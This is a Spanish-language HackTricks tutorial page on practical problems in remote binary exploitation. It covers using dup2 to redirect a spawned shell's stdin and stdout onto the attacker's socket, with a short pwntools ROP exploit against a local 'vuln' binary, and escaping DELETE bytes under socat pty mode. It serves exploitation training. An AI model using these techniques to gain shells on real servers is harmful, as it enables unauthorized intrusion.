Problemas Comunes de Explotación
Reading time: 3 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
FDs en Explotación Remota
Al enviar un exploit a un servidor remoto que llama a system('/bin/sh'), por ejemplo, esto se ejecutará en el proceso del servidor, y /bin/sh esperará entrada de stdin (FD: 0) y mostrará la salida en stdout y stderr (FDs 1 y 2). Por lo tanto, el atacante no podrá interactuar con el shell.
Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el FD número 3 (para escuchar) y que luego, tu conexión estará en el FD número 4. Por lo tanto, es posible usar la syscall dup2 para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar con el shell una vez que se ejecute.
Ejemplo de exploit desde aquí:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Ten en cuenta que socat ya transfiere stdin y stdout al socket. Sin embargo, el modo pty incluye caracteres DELETE. Así que, si envías un \x7f ( DELETE -) eliminará el carácter anterior de tu exploit.
Para eludir esto, el carácter de escape \x16 debe ser precedido a cualquier \x7f enviado.
Aquí puedes encontrar un ejemplo de este comportamiento.
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks